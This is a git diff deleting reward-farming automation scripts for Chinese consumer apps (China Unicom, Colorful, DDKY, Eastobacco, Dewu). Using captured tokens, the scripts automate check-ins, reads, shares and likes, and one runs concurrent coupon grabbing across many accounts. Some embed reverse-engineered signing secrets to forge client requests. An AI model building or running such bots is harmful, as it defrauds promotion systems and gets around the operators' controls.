- "businessSources": ["3", "4", "5", "6", "99"],
- "isPromotion": 1,
- "returnFormatType": 1
- }
- res = self.session.post(url, json=payload, headers=headers).json()
- if res.get('code') == 200:
- records = res.get('data', {}).get('recordObjs', [])
- total_amount = 0.0
- current_month = datetime.now().strftime('%Y-%m')
- count = 0
- for item in records:
- create_time = item.get('receiveTime', '')
- name = item.get('recordName', '')
- if current_month in create_time and any(k in name for k in ['话费', '充值', '红包']):
- match = re.search(r'(\d+(\.\d+)?)元', name)
- if match:
- amount = float(match.group(1))
- total_amount += amount
- count += 1
- if count > 0:
- self.log(f"💰 [资产-抢购] 本月权益超市话费累计: {total_amount:.2f}元", notify=True)
- else:
- self.log("权益超市: 本月暂无话费抢购记录")
- else:
- self.log(f"权益超市: 查询话费记录失败: {res.get('msg')}")
- except Exception as e:
- self.log(f"query_phone_recharge_records error: {e}")
-
- def sign_query_my_prizes(self):
- self.log("正在查询账户明细 (抢兑)...")
- try:
- url = "https://act.10010.com/SigninApp/convert/phoneDetails"
- form = {
- "log_type": "1",
- "number": "1",
- "list_num": ""
- }
- headers = {"Origin": "https://img.client.10010.com"}
- res = self.request("post", url, data=form, headers=headers)
- if not res: return
- result = res.json()
- if result.get('status') == '0000':
- data = result.get('data', {}).get('detailedBO', [])
- if data and isinstance(data, list):
- logged_count = 0
- for item in data:
- if logged_count >= 5: break
- remark = item.get('remark', '')
- buss_name = item.get('from_bussname', '')
- if "兑换" in remark or "兑换" in buss_name:
- if logged_count == 0:
- self.log(f"📋 [账户明细] 最近 5 条记录:", notify=True)
- order_time = item.get('order_time', '')
- amount = item.get('booksNumber') or item.get('books_number') or "0"
- self.log(f" 🎁 [抢兑] {order_time} | {remark} (变动:{amount})", notify=True)
- logged_count += 1
- if logged_count == 0:
- self.log("[账户明细] 暂无兑换记录")
- else:
- self.log("[账户明细] 暂无兑换记录")
- else:
- self.log(f"[账户明细] 查询异常: {result.get('msg', 'Result Error')}")
- except Exception as e:
- self.log(f"sign_query_my_prizes error: {e}")
-
- def sign_task_main(self):
- self.log("==== 签到区 ====")
- self.sign_getTelephone(is_initial=True)
- self.sign_getContinuous(is_query_only=False)
- self.sign_getTaskList()
- sc = globalConfig.get("sign_config", {})
- if sc.get("run_grab_coupon", False):
- self.sign_grabCoupon()
- else:
- self.log("签到区-抢话费券: ⏭️ 已被子开关关闭,跳过")
- self.sign_getTelephone()
- self.sign_query_my_prizes()
-
- def execute_daily_tasks(self, query_only=False):
- if query_only:
- self.log("📋 [查询模式] 仅查询资产,跳过任务执行", notify=True)
- try:
- self.queryRemain()
- if globalConfig.get("enable_sign", True):
- try:
- self.sign_getContinuous(is_query_only=True)
- self.sign_getTelephone()
- except Exception as e:
- self.log(f"首页签到查询异常: {e}")
- try:
- self.sign_query_my_prizes()
- except Exception as e:
- self.log(f"抢兑记录查询异常: {e}")
- if globalConfig.get("enable_ttlxj", True):
- try:
- self.ttlxj_task(is_query_only=True)
- except Exception as e:
- self.log(f"天天领现金查询异常: {e}")
- if globalConfig.get("enable_market", True):
- try:
- self.market_task(is_query_only=True)
- except Exception as e:
- self.log(f"权益超市查询异常: {e}")
- if globalConfig.get("enable_woread", True):
- try:
- self.woread_queryTicketAccount()
- except Exception as e:
- self.log(f"联通阅读查询异常: {e}")
- if globalConfig.get("enable_aiting", True):
- try:
- self.aiting_task(is_query_only=True)
- except Exception as e:
- self.log(f"联通爱听查询异常: {e}")
- if globalConfig.get("enable_security", True):
- try:
- self.securityButlerTask(is_query_only=True)
- except Exception as e:
- self.log(f"安全管家查询异常: {e}")
- if globalConfig.get("enable_ltyp", True):
- try:
- self.ltyp_task(is_query_only=True)
- except Exception as e:
- self.log(f"联通云盘查询异常: {e}")
- if globalConfig.get("enable_wostore", True):
- try:
- self.wostore_cloud_task(is_query_only=True)
- except Exception as e:
- self.log(f"沃云手机查询异常: {e}")
- if globalConfig.get("enable_regional", True):
- try:
- self.regional_task(is_query_only=True)
- except Exception as e:
- pass
- except Exception as e:
- self.log(f"查询异常: {e}")
- return
- if globalConfig.get("enable_sign", True):
- self.sign_task_main()
- else:
- self.log("==== 签到区 ====")
- self.log("⏭️ 已被总开关关闭,跳过")
- if globalConfig.get("enable_ltzf", True):
- self.ltzf_task()
- else:
- self.log("==== 联通祝福 ====")
- self.log("⏭️ 已被总开关关闭,跳过")
- if globalConfig.get("enable_ttlxj", True):
- self.ttlxj_task()
- else:
- self.log("==== 天天领现金 ====")
- self.log("⏭️ 已被总开关关闭,跳过")
- if globalConfig.get("enable_market", True):
- self.market_task()
- else:
- self.log("==== 权益超市 ====")
- self.log("⏭️ 已被总开关关闭,跳过")
- if globalConfig.get("enable_woread", True):
- self.woread_task()
- else:
- self.log("==== 联通阅读 ====")
- self.log("⏭️ 已被总开关关闭,跳过")
- need_cooldown = globalConfig.get("enable_woread", True) and globalConfig.get("enable_aiting", True)
- if need_cooldown:
- self.log("⏳ 等待120秒(阅读冷却:联通限制两次阅读间隔2分钟)...")
- time.sleep(120)
- if globalConfig.get("enable_aiting", True):
- self.aiting_task()
- else:
- self.log("==== 联通爱听 ====")
- self.log("⏭️ 已被总开关关闭,跳过")
- if globalConfig.get("enable_security", True):
- self.securityButlerTask()
- else:
- self.log("==== 安全管家 ====")
- self.log("⏭️ 已被总开关关闭,跳过")
- if globalConfig.get("enable_ltyp", True):
- self.ltyp_task()
- else:
- self.log("==== 联通云盘 ====")
- self.log("⏭️ 已被总开关关闭,跳过")
- if globalConfig.get("enable_wostore", True):
- self.wostore_cloud_task()
- else:
- self.log("==== 沃云手机 ====")
- self.log("⏭️ 已被总开关关闭,跳过")
- if globalConfig.get("enable_regional", True):
- self.regional_task()
- else:
- self.log("==== 区域专区 ====")
- self.log("⏭️ 已被总开关关闭,跳过")
-
-def do_notify(users):
- notify_content = []
- for u in users:
- if u.notify_logs:
- phone = u.mobile or u.account_mobile
- phone_str = mask_str(phone) if phone else ""
- notify_content.append(f"【账号{u.index}】{phone_str}")
- notify_content.extend(u.notify_logs)
- notify_content.append("")
- if notify_content:
- content = "\n".join(notify_content)
- try:
- from notify import send
- send("中国联通", content)
- print(f"推送成功 (内容长度: {len(content)})")
- except Exception as e:
- print(f"推送失败,可能未配置 notify.py: {str(e)}")
- else:
- print("无推送内容")
-
-def main():
- global GRAB_AMOUNT
- print(f"[{datetime.now().strftime('%H:%M:%S')}] [Script Start] chinaUnicom Python v1.0.5")
- cookies = os.environ.get("chinaUnicomCookie", "")
- if not cookies:
- print("[-] 未在环境变量 chinaUnicomCookie 中找到配置")
- sys.exit(1)
- accounts = [c for c in re.split(r'[&\n]', cookies) if c.strip()]
- print(f"[{datetime.now().strftime('%H:%M:%S')}] 发现 {len(accounts)} 个账号")
- print("")
- users = []
- for idx, config in enumerate(accounts):
- u = UserService(idx + 1, config.strip())
- users.append(u)
- if u.appId:
- print(f"账号[{idx+1}] 识别到 Token#AppId 模式,使用自定义AppId: {u.appId}")
- elif u.account_mobile:
- print(f"账号[{idx+1}] 识别到账号密码模式: {mask_str(u.account_mobile)}")
- try:
- if u.token_online:
- u.get_city_info()
- except: pass
- print(f"共找到{len(accounts)}个账号")
- print("")
- env_amount = os.environ.get("UNICOM_GRAB_AMOUNT", "")
- if env_amount and env_amount.isdigit():
- GRAB_AMOUNT = int(env_amount)
- query_only = os.environ.get("UNICOM_TEST_MODE", "").strip().lower() == "query"
- if query_only:
- print("[Test Mode] 仅查询模式,跳过任务执行")
- # 抢兑模式检测 (在打印前判断)
- sc = globalConfig.get("sign_config", {})
- mc = globalConfig.get("market_config", {})
- grab_mode = False
- if sc.get("run_grab_coupon", False) and globalConfig.get("enable_sign", True) and not query_only:
- hour = datetime.now().hour
- current_min = datetime.now().minute
- if hour in [9, 17] and (58 <= current_min <= 59):
- grab_mode = True
- print("-" * 36)
- # 打印各模块开关状态
- switch_map = [
- ("enable_sign", "首页签到"),
- ("enable_ltzf", "联通祝福"),
- ("enable_ttlxj", "天天领现金"),
- ("enable_market", "权益超市"),
- ("enable_woread", "联通阅读"),
- ("enable_aiting", "联通爱听"),
- ("enable_security", "安全管家"),
- ("enable_ltyp", "联通云盘"),
- ("enable_wostore", "沃云手机"),
- ("enable_regional", "区域专区"),
- ]
- for key, label in switch_map:
- enabled = globalConfig.get(key, True)
- if grab_mode:
- # 抢兑模式: 仅签到区(抢兑)运行, 其余全部跳过
- if key == "enable_sign":
- status = "运行(仅抢兑)"
- else:
- status = "跳过(抢兑模式)"
- elif query_only:
- status = "仅查询" if enabled else "关闭"
- else:
- status = "运行" if enabled else "关闭"
- print(f"{label}设置为: {status}")
- # 签到区后面紧跟子开关
- if key == "enable_sign" and enabled and not query_only:
- print(f" └─ 抢话费券: {'开启' if sc.get('run_grab_coupon', False) else '关闭'}")
- # 权益超市后面紧跟子开关 (抢兑模式下不打印, 因为整个权益超市都跳过)
- if key == "enable_market" and enabled and not query_only and not grab_mode:
- print(f" └─ 浇水: {'开启' if mc.get('run_water', True) else '关闭'}")
- print(f" └─ 做任务: {'开启' if mc.get('run_task', True) else '关闭'}")
- print(f" └─ 会员中心: {'开启' if mc.get('run_member_center', True) else '关闭'}")
- print(f" └─ 抽奖: {'开启' if mc.get('run_draw', True) else '关闭'}")
- print(f" └─ 自动领奖: {'开启' if mc.get('run_claim', False) else '关闭'}")
- print(f"设备ID刷新: {'强制刷新' if globalConfig.get('refresh_device_id', False) else '使用缓存'}")
- print("-" * 36)
- print("")
- # --- 定时抢兑模式: 仅并发执行抢话费券, 完成后直接退出 ---
- if grab_mode:
- hour = datetime.now().hour
- current_min = datetime.now().minute
- print(f"⏰ [自动触发] 检测到抢兑时间点 ({hour}:{current_min:02d}),进入并发抢兑模式")
- print(f"🚨🚨🚨 [抢兑模式已启动] 目标: {GRAB_AMOUNT}元话费券 🚨🚨🚨")
- print("")
- from concurrent.futures import ThreadPoolExecutor
-
- def run_grab_task(u):
- u.configure_proxy()
- if not u.token_online and u.account_mobile:
- u.load_token_from_cache()
- is_valid = u.onLine()
- if not is_valid and u.account_mobile and u.account_password:
- u.unicom_login()
- is_valid = u.onLine()
- if is_valid:
- u.save_token_to_cache()
- u.sign_grabCoupon()
- else:
- u.log("登录流程失败,跳过该账号")
-
- print(f"🚀 [并发模式] 启动 {len(accounts)} 个账号同时抢兑...")
- with ThreadPoolExecutor(max_workers=len(accounts)) as executor:
- futures = [executor.submit(run_grab_task, u) for u in users]
- for future in futures:
- try:
- future.result()
- except Exception as e:
- print(f"[-] Thread Error: {e}")
- do_notify(users)
- return
- print("🚀 开始串行执行日常任务...")
- print("")
- for u in users:
- print("")
- print(f"🔄 正在初始化账号[{u.index}]...")
- u.configure_proxy()
- if not u.token_online and u.account_mobile:
- u.load_token_from_cache()
- if not u.token_online and u.account_mobile and u.account_password:
- u.unicom_login()
- if u.onLine():
- u.save_token_to_cache()
- print("")
- print(f"------------------ 账号[{u.index}][{mask_str(u.account_mobile)}] ------------------")
- print("")
- u.execute_daily_tasks(query_only=query_only)
- print("⏳ 账号处理完毕,等待 2 秒...")
- time.sleep(2)
- else:
- u.log("登录流程失败,跳过该账号")
- do_notify(users)
-if __name__ == "__main__":
- main()
diff --git a/daily/colorful.js b/daily/colorful.js
deleted file mode 100644
index 5cb81751..00000000
--- a/daily/colorful.js
+++ /dev/null
@@ -1,221 +0,0 @@
-/*
-------------------------------------------
-@Author: sm
-@Date: 2024.06.07 19:15
-@Description: 七彩虹微信小程序 签到&点赞
-cron: 30 10 * * *
-------------------------------------------
-#Notice:
-变量名:colorful
-抓取
-https://interface.skycolorful.com/api 请求头的authorization去掉Bearer # x-authorization去掉Bearer
-多账户&或换行
-
-⚠️【免责声明】
-------------------------------------------
-1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。
-2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。
-3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。
-4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。
-5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。
-6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。
-7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。
-*/
-
-const { Env } = require("../tools/env")
-const $ = new Env("colorful七彩虹");
-let ckName = `colorful`;
-const strSplitor = "#";
-const axios = require("axios");
-const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram"
-
-
-class Task {
- constructor(env) {
- this.index = $.userIdx++
- this.user = env.split(strSplitor);
- this.token = this.user[0];
- this.token2 = this.user[1];
- this.signStatus = false;
- this.expireFlag = false;
- }
-
- async run() {
- await this.getTokenExpireTime()
- await this.getUserInfo()
- await this.getSignInfo()
-
- if (this.signStatus) {
- $.log(`账号[${this.index}]已签到`)
- return
- }
- await this.signInV2()
- }
- async getTokenExpireTime() {
- let options = {
- method: 'POST',
- url: `https://interface.skycolorful.com/api/User/RefreshLoginTime`,
- headers: {
- "accept": "*/*",
- "accept-language": "zh-CN,zh;q=0.9",
- "content-type": "application/json",
- "sec-fetch-dest": "empty",
- },
- data: { "phone": "" }
- }
- let { data: result } = await this.request(options);
- if (result.Code != 0) {
- this.expireFlag = true
- }
-
- }
- async refreshToken(DATA) {
- let options = {
- method: 'POST',
- url: `https://interface.skycolorful.com/api/User/DecryptPhoneNumber`,
- headers: {
- "accept": "*/*",
- "accept-language": "zh-CN,zh;q=0.9",
- "content-type": "application/json",
- "sec-fetch-dest": "empty",
- },
- data: DATA
- }
- let { data: result } = await this.request(options);
- if (result.Code != 0) {
- this.expireFlag = true
- } else {
- this.token = result.Data.Token
- }
- }
- MD5(str) {
- const crypto = require('crypto');
- return crypto.createHash('md5').update(str).digest('hex');
- }
- request(options) {
- let appid = "815d8026-9a52-4445-a42c-a5443134232e"
- let uuid = $.uuid()
- let timestamp = Date.now()
- let sign = this.MD5(appid + timestamp + uuid + '2b5c01fb-7640-401a-8188-43a13190a626')
- let baseHeaders = {
- "User-Agent": defaultUserAgent,
- "requestid": uuid,
- "appid": appid,
- "ticks": "" + timestamp,
- "sign": sign,
- "authorization": "Bearer " + this.token,
- "x-authorization": "Bearer " + this.token2,
- "source": "Wx",
- "ucsource": "30",
- "user-from": "xcx",
-
-
- }
- options.headers = Object.assign(baseHeaders, options.headers)
- return axios.request(options)
- }
-
- async signInV2() {
- let options = {
- method: 'POST',
- url: `https://interface.skycolorful.com/api/User/SignV2`,
- headers: {
- "accept": "*/*",
- "accept-language": "zh-CN,zh;q=0.9",
- "content-type": "application/json",
- "sec-fetch-dest": "empty",
- "sec-fetch-mode": "cors",
- "sec-fetch-site": "cross-site",
- "xweb_xhr": "1"
- },
- data: {
-
- }
- };
- let { data: result } = await this.request(options);
- if (result?.Code == '0') {
- //打印签到结果
- $.log(`🌸账号[${this.index}]` + `🕊签到${result.Message}🎉`);
- } else {
- $.log(`🌸账号[${this.index}] 签到-失败:${result.Message}❌`)
- }
-
-
-
-
- }
- async getSignInfo() {
- let options = {
- method: 'GET',
- url: `https://interface.skycolorful.com/api/User/IsSignV2`,
- headers: {
- "accept": "*/*",
- "accept-language": "zh-CN,zh;q=0.9",
- "content-type": "application/json",
- "sec-fetch-dest": "empty",
- "sec-fetch-mode": "cors",
- }
- }
- let { data: result } = await this.request(options);
- if (result?.Code == '0') {
- //打印签到结果
- this.signStatus = result.Data.IsSign
-
- } else {
- }
- }
- async getUserInfo() {
- let options = {
- method: 'GET',
- url: `https://interface.skycolorful.com/api/User/GetUserInfo`,
- headers: {
- "accept": "*/*",
- "accept-language": "zh-CN,zh;q=0.9",
- "content-type": "application/json",
- "sec-fetch-dest": "empty",
- }
- }
- let { data: result } = await this.request(options);
- if (result?.Code == '0') {
- //打印签到结果
- $.log(`🌸账号[${this.index}]` + `昵称:${result.Data.NickName}` + `积分:${result.Data.Point}`)
- }
- }
-}
-
-
-
-
-
-
-
-
-
-!(async () => {
- await getNotice()
- $.checkEnv(ckName);
-
- for (let user of $.userList) {
- await new Task(user).run();
- }
-})()
- .catch((e) => console.log(e))
- .finally(() => $.done());
-
-async function getNotice() {
- try {
- let options = {
- url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`,
- headers: {
- "User-Agent": defaultUserAgent,
- },
- timeout: 3000
- }
- let {
- data: res
- } = await axios.request(options);
- $.log(res)
- return res
- } catch (e) { }
-
-}
diff --git a/daily/ddsy.js b/daily/ddsy.js
deleted file mode 100644
index ff99286d..00000000
--- a/daily/ddsy.js
+++ /dev/null
@@ -1,164 +0,0 @@
-/*
-------------------------------------------
-@Author: sm
-@Date: 2024.06.07 19:15
-@Description: 叮当快药
-cron: 9 9 * * *
-------------------------------------------
-#Notice:
-变量值:https://hapi.ddky.com/mcp/weixin/rest.htm?后面的loginToken&userId&uDate 多账户换行或者&分隔
-网页版登录 https://m.ddky.com/
-小程序登录叮当快药
-APP 都可以找到这三个值
-⚠️【免责声明】
-------------------------------------------
-1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。
-2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。
-3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。
-4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。
-5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。
-6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。
-7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。
-*/
-
-const { Env } = require("../tools/env")
-const $ = new Env("叮当快药");
-let ckName = `ddky`;
-const strSplitor = "#";
-const axios = require("axios");
-const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram"
-
-
-class Task {
- constructor(env) {
- this.index = $.userIdx++
- this.token = env.split(strSplitor)[0]; //单账号多变量分隔符
-
- this.userId = env.split(strSplitor)[1];
- this.uDate = env.split(strSplitor)[2];
-
- }
-
- async run() {
-
- await this.getSignInId()
- }
-
- getSign(s) {
- const crypto = require("crypto");//SIGN TYPE 1是签到 2是补签
- return crypto.createHash('md5').update(s).digest('hex');
- }
- getTime() {
- var now = new Date();
- var year = now.getFullYear()
- , month = now.getMonth() + 1
- , day = now.getDate()
- , hours = now.getHours()
- , minutes = now.getMinutes()
- , seconds = now.getSeconds();
- return year + '-' + month + '-' + day + ' ' + hours + ':' + minutes + ':' + seconds;
- }
- getSignDay() {
- var now = new Date();
- var year = now.getFullYear()
- , month = now.getMonth() + 1
- , day = now.getDate()
- return year + '-' + month + '-' + day
- }
- async getSignInId() {
- const time = this.getTime()
- const method = `ddky.promotion.signin.pageinfo`
- const signDay = this.getSignDay()
- const str = method +
- `loginToken${this.token}` +
- `method${method}` +
- `platH5` +
- `platformH5` +
- `signDay${signDay}` +
- `t${time}` +
- `uDate${this.uDate}` +
- `userId${this.userId}` +
- `v1.0` +
- `versionName4.9.0` +
- `6C57AB91A1308E26B797F4CD382AC79D`
- let sign = (this.getSign(str)).toUpperCase();
- let callbackStr = new Date().getTime()
- try {
- let options = {
- url: `https://hapi.ddky.com/mcp/weixin/rest.htm?sign=${sign}&loginToken=${this.token}&method=${method}&plat=H5&platform=H5&signDay=${signDay}&t=${time}&uDate=${this.uDate}&userId=${this.userId}&v=1.0&versionName=4.9.0&callback=Zepto${callbackStr}`,
- headers: {},
- }
- let { data: response } = await axios.request(options);
- let result = response.replace(`Zepto${callbackStr}`, "")
- result = result.replaceAll("(", "")
- result = result.replaceAll(")", "")
- result = JSON.parse(result)
- if (result.code = "0") {
- await this.sign(result.result.signDayVo.signinId)
- }
-
- } catch (e) {
- console.log(e);
- }
- }
- async sign(signInId) {
- let callbackStr = new Date().getTime()
- const time = this.getTime()
- const str = `ddky.promotion.signin.sign` + `channelH5` + `laterSignType1` + `loginToken${this.token}` + `methodddky.promotion.signin.sign` +
- `platH5` + `platformH5` + `signinId${signInId}` + `t${time}` + `uDate${this.uDate}` + `userId${this.userId}` + `v1.0` + `versionName4.9.0` +
- `6C57AB91A1308E26B797F4CD382AC79D`
- let sign = (this.getSign(str)).toUpperCase();
- try {
- let options = {
- url: `https://hapi.ddky.com/mcp/weixin/rest.htm?sign=${sign}&channel=H5&laterSignType=1&loginToken=${this.token}&method=ddky.promotion.signin.sign&plat=H5&platform=H5&signinId=${signInId}&t=${time}&uDate=${this.uDate}&userId=${this.userId}&v=1.0&versionName=4.9.0&callback=Zepto${callbackStr}`,
- headers: {},
- }
- let { data: response } = await axios.request(options);
- let result = response.replace(`Zepto${callbackStr}`, "")
- result = result.replaceAll("(", "")
- result = result.replaceAll(")", "")
- result = JSON.parse(result)
- if (result.code = "0") {
- $.log(`签到横杠`)
- }
- } catch (e) {
- console.log(e);
- }
- }
-
-
-
-
-
-
-
-}
-
-!(async () => {
- await getNotice()
- $.checkEnv(ckName);
-
- for (let user of $.userList) {
- await new Task(user).run();
- }
-})()
- .catch((e) => console.log(e))
- .finally(() => $.done());
-
-async function getNotice() {
- try {
- let options = {
- url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`,
- headers: {
- "User-Agent": defaultUserAgent,
- },
- timeout: 3000
- }
- let {
- data: res
- } = await axios.request(options);
- $.log(res)
- return res
- } catch (e) { }
-
-}
\ No newline at end of file
diff --git a/daily/dfyc.js b/daily/dfyc.js
deleted file mode 100644
index 5b5bda84..00000000
--- a/daily/dfyc.js
+++ /dev/null
@@ -1,230 +0,0 @@
-/*
-------------------------------------------
-@Author: sm
-@Date: 2024.06.07 19:15
-@Description: 东方烟草报App 积分换实物
-cron: 10 8 * * *
-------------------------------------------
-#Notice:
-变量名:dfycToken
-POST请求任意链接包含https://eapp.eastobacco.com/index.php body中的token 多账号&分割或者换行
-
-⚠️【免责声明】
-------------------------------------------
-1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。
-2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。
-3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。
-4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。
-5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。
-6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。
-7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。
-*/
-
-const { Env } = require("../tools/env")
-const $ = new Env("东方烟草报");
-let ckName = `dfycToken`;
-const strSplitor = "#";
-const axios = require("axios");
-const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram"
-
-
-class Task {
- constructor(env) {
- this.index = $.userIdx++;
- this.ck = env.split(strSplitor)[0]; //单账号多变量分隔符
- this.ckStatus = true;
- this.artList = []
- }
- async run() {
- await this.user_info();
- if (this.ckStatus) {
- await this.task_daka()
- await this.art_list()
- if (this.artList.length !== 0) {
- for (let i = 0; i < 3; i++) {
- await this.task_read(this.artList[i].id, this.artList[i].catid)
- await this.task_share(this.artList[i].id, this.artList[i].catid)
- await this.task_like(this.artList[i].id, this.artList[i].catid)
- }
- }
- }
- }
- async user_info() {
- try {
- let options = {
- method: "post",
- url: `https://eapp.eastobacco.com/index.php?m=api&c=user&a=userinfo`,
- headers: {
- "Content-Type": "application/x-www-form-urlencoded"
- },
- data: `platform=android&token=${this.ck}×tamp=${Date.now()}&api_version=4`
- }
- let { data: result } = await axios.request(options);
- //console.log(options);
- //console.log(result);
- if (result.code == 200) {
- $.log(`✅账号[${this.index}] 积分[${result.data.point}]🎉`)
- this.ckStatus = true;
- } else {
- console.log(`❌账号[${this.index}] 用户查询: 失败`);
- this.ckStatus = false;
- console.log(result);
- }
- } catch (e) {
- console.log(e);
- }
- }
-
- async task_daka() {
- try {
- let options = {
- method: "post",
- url: `https://eapp.eastobacco.com/index.php?m=api&c=user&a=daka`,
- headers: {
- "Content-Type": "application/x-www-form-urlencoded"
- },
- data: `platform=android&token=${this.ck}×tamp=${Date.now()}&api_version=4`
- }
- let { data: result } = await axios.request(options);
- //console.log(options);
- //console.log(result);
- $.log(`✅账号[${this.index}] 打卡[${result.message}]🎉`)
- } catch (e) {
- console.log(e);
- }
- }
-
- async art_list() {
- try {
- let options = {
- method: "post",
- url: `https://eapp.eastobacco.com/index.php?m=api&c=content&a=newsList_pub`,
- headers: {
- "Content-Type": "application/x-www-form-urlencoded"
- },
- data: `catid=1&num=20&page=1&api_version=4&platform=android&token=${this.ck}×tamp=${Date.now()}`
- }
- let { data: result } = await axios.request(options);
- //console.log(options);
- //console.log(result);
- if (result.data.news) {
- for (let news of result.data.news) {
- this.artList.push(
- {
- id: news.id,
- catid: news.catid,
- title: news.title
- }
- )
- }
- console.log(`获取文章成功`);
- } else {
- console.log(`获取文章失败`);
- }
- } catch (e) {
- console.log(e);
- }
- }
-
- async task_read(id, catid) {
- try {
- let options = {
- method: "post",
- url: `https://eapp.eastobacco.com/index.php?m=api&c=content&a=addvisite`,
- headers: {
- "Content-Type": "application/x-www-form-urlencoded"
- },
- data: `platform=android&token=${this.ck}×tamp=${Date.now()}&api_version=4&newsid=${id}&catid=${catid}`
- }
- let { data: result } = await axios.request(options);
- //console.log(options);
- //console.log(result);
- if (result.code == 200) {
- $.log(`✅账号[${this.index}] 阅读[${id}]成功🎉`)
-
- } else {
- $.log(`❌账号[${this.index}] 阅读[${id}]失败`)
- }
- } catch (e) {
- console.log(e);
- }
- }
-
- async task_share(id, catid) {
- try {
- let options = {
- method: "post",
- url: `https://eapp.eastobacco.com/index.php?m=api&c=user&a=addScoreZf`,
- headers: {
- "Content-Type": "application/x-www-form-urlencoded"
- },
- data: `platform=android&token=${this.ck}×tamp=${Date.now()}&api_version=4&id=${id}&catid=${catid}`
- }
- let { data: result } = await axios.request(options);
- //console.log(options);
- //console.log(result);
- if (result.code == 200) {
- $.log(`✅账号[${this.index}] 分享[${id}]成功🎉`)
-
- } else {
- $.log(`❌账号[${this.index}] 分享[${id}]失败`)
- }
- } catch (e) {
- console.log(e);
- }
- }
-
- async task_like(id, catid) {
- try {
- let options = {
- method: "post",
- url: `https://eapp.eastobacco.com/index.php?m=api&c=content&a=dingcai`,
- headers: {
- "Content-Type": "application/x-www-form-urlencoded"
- },
- data: `platform=android&token=${this.ck}×tamp=${Date.now()}&api_version=4&newsid=${id}&catid=${catid}`
- }
- let { data: result } = await axios.request(options);
- //console.log(options);
- //console.log(result);
- if (result.code == 200) {
- $.log(`✅账号[${this.index}] 点赞[${id}]成功🎉`)
-
- } else {
- $.log(`❌账号[${this.index}] 点赞[${id}]失败`)
- }
- } catch (e) {
- console.log(e);
- }
- }
-
-}
-
-!(async () => {
- await getNotice()
- $.checkEnv(ckName);
-
- for (let user of $.userList) {
- await new Task(user).run();
- }
-})()
- .catch((e) => console.log(e))
- .finally(() => $.done());
-
-async function getNotice() {
- try {
- let options = {
- url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`,
- headers: {
- "User-Agent": defaultUserAgent,
- },
- timeout:3000
- }
- let {
- data: res
- } = await axios.request(options);
- $.log(res)
- return res
- } catch (e) {}
-
-}
diff --git a/daily/dw.js b/daily/dw.js
deleted file mode 100644
index a74c0522..00000000
--- a/daily/dw.js
+++ /dev/null
@@ -1,320 +0,0 @@
-/*
-------------------------------------------
-@Author: sm
-@Date: 2024.06.07 19:15
-@Description: 得物APP 0元抽
-cron: 30 11 * * *
-------------------------------------------
-#Notice:
-得物0元抽 抓https://app.dewu.com/api 请求头的x-auth-token 去掉Bearer 多账户&或换行
-⚠️【免责声明】
-------------------------------------------
-1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。
-2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。
-3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。
-4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。
-5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。
-6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。
